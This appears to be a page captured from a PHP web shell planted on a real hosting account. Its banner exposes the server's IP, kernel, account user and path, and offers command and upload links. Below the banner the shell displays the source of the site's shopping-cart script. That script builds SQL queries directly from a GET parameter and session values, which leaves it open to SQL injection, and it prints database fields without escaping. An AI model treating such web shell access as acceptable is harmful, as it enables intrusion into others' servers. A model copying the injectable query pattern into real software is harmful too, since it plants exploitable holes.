|
Server IP : 2a02:4780:11:1596:0:cbc:26e7:10 / Your IP : 216.73.217.7 Web Server : LiteSpeed System : Linux in-mum-web1496.main-hosting.eu 5.14.0-611.38.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 10 17:21:28 EDT 2026 x86_64 User : u213657319 ( 213657319) PHP Version : 8.3.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u213657319/domains/mutiyanglobal.com/public_html/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
include 'connection.php';
$pid = $_GET['productid'];
if($pid != '' AND $_SESSION['uid'] != ''){
for($x = 1; $x<=1; $x++){
$query = mysqli_query($con,'INSERT INTO cart (`userid`, `productid`) VALUES("'.$_SESSION['uid'].'", "'.$pid.'")');
if($query){
header('location: cart.php');
}
}
}
else if($_SESSION['uid'] == ''){
header('location: login.php');
}
$subtotal = "";
?>
<!DOCTYPE html>
<html lang="en">
<!-- Basic -->
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<!-- Mobile Metas -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- Site Metas -->
<title>Mutiyan Global | Cart</title>
<meta name="keywords" content="">
<meta name="description" content="">
<meta name="author" content="">
<!-- Site Icons -->
<link rel="shortcut icon" href="favicon/favicon-32x32.png" type="image/x-icon">
<link rel="apple-touch-icon" href="favicon/apple-touch-icon.png">
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="css/bootstrap.min.css">
<!-- Site CSS -->
<link rel="stylesheet" href="css/style.css">
<!-- Responsive CSS -->
<link rel="stylesheet" href="css/responsive.css">
<!-- Custom CSS -->
<link rel="stylesheet" href="css/custom.css">
</head>
<body>
<!-- Start Main Top -->
<?php include 'header.php'; ?>
<!-- End Main Top -->
<!-- Start Top Search -->
<div class="top-search">
<div class="container">
<div class="input-group">
<span class="input-group-addon"><i class="fa fa-search"></i></span>
<input type="text" class="form-control" placeholder="Search">
<span class="input-group-addon close-search"><i class="fa fa-times"></i></span>
</div>
</div>
</div>
<!-- End Top Search -->
<!-- Start All Title Box -->
<div class="all-title-box">
<div class="container">
<div class="row">
<div class="col-lg-12">
<h2>Cart</h2>
</div>
</div>
</div>
</div>
<!-- End All Title Box -->
<!-- Start Cart -->
<div class="cart-box-main">
<div class="container">
<div class="row">
<div class="col-lg-12">
<div class="table-main table-responsive">
<table class="table w-100">
<thead>
<tr>
<th>Images</th>
<th>Product Name</th>
<th>Price</th>
<th>Quantity</th>
<th>Total</th>
<th>Remove</th>
</tr>
</thead>
<tbody>
<?php
$sql = mysqli_query($con,'SELECT * FROM cart WHERE userid ="'.$_SESSION["uid"].'" ');
if(mysqli_num_rows($sql) > 0){
while($row = mysqli_fetch_array($sql)){
$product = mysqli_query($con,'SELECT * FROM products WHERE id = "'.$row['productid'].'"');
$prow = mysqli_fetch_array($product);
$subtotal += $prow['price']*$row['quantity'];
?>
<tr>
<td class="thumbnail-img">
<a href="#">
<img class="img-fluid" src="admin/product_image/<?php echo $prow['product_image']; ?>" alt="" />
</a>
</td>
<td class="name-pr">
<a href="#"><?php echo $prow['name']; ?></a>
</td>
<td class="price-pr">
₹ <input type="text" class="price-input" name="price" id="price" value="<?php echo $prow['price']; ?>" disabled="" />
</td>
<td class="quantity-box"><input type="number" name="quantity" id="<?php echo $row['id']; ?>" value="<?php echo $row['quantity']; ?>" min="1" max="10" step="1" class="c-input-text qty text">
<td class="total-pr">
₹ <input type="text" class="price-input" name="total" id="total" value="<?php echo $prow['price']*$row['quantity']; ?>" disabled="" />
</td>
<td class="remove-pr">
<a href="delete-cart.php?productid=<?php echo $prow[id];?>">
<i class="fas fa-times"></i>
</a>
</td>
</tr>
<?php }
}
else{
echo '<tr>
<td>No Product in the cart</td>
</tr>';
}
?>
</tbody>
</table>
</div>
</div>
</div>
<div class="row my-5">
<div class="col-lg-12 col-sm-12">
<div class="order-box">
<h3>Order summary</h3>
<div class="d-flex">
<h4>Sub Total</h4>
<div class="ml-auto font-weight-bold">₹ <input type="text" id="sub-total" class="price-input" value="<?php echo $subtotal; ?>" /> </div>
</div>
<div class="d-flex gr-total">
<h5>Grand Total</h5>
<div class="ml-auto font-weight-bold">₹ <input type="text" id="grand-total" class="price-input" value="<?php echo $subtotal; ?>"/> </div>
</div>
<hr>
</div>
</div>
<div class="col-12 d-flex shopping-box">
<a href="checkout.php" class="ml-auto btn hvr-hover">Checkout</a>
</div>
</div>
</div>
</div>
<?php include 'footer.php'; ?>
<!-- ALL JS FILES -->
<script src="js/jquery-3.2.1.min.js"></script>
<script src="js/popper.min.js"></script>
<script src="js/bootstrap.min.js"></script>
<!-- ALL PLUGINS -->
<script src="js/jquery.superslides.min.js"></script>
<script src="js/bootstrap-select.js"></script>
<script src="js/inewsticker.js"></script>
<script src="js/bootsnav.js"></script>
<script src="js/images-loded.min.js"></script>
<script src="js/isotope.min.js"></script>
<script src="js/owl.carousel.min.js"></script>
<script src="js/baguetteBox.min.js"></script>
<script src="js/form-validator.min.js"></script>
<script src="js/custom.js"></script>
<script>
$("input[type=number]").on("change paste keyup", function() {
var value = $(this).val();
var id = $(this).attr('id');
var dataString = {
id: id,
value: value
};
$.ajax({
type: "POST",
url: "quantity-update.php",
data: dataString,
dataType: 'json',
cache: false,
success: function(data) {
window.location.reload();
}
});
});
</script>
</body>
</html>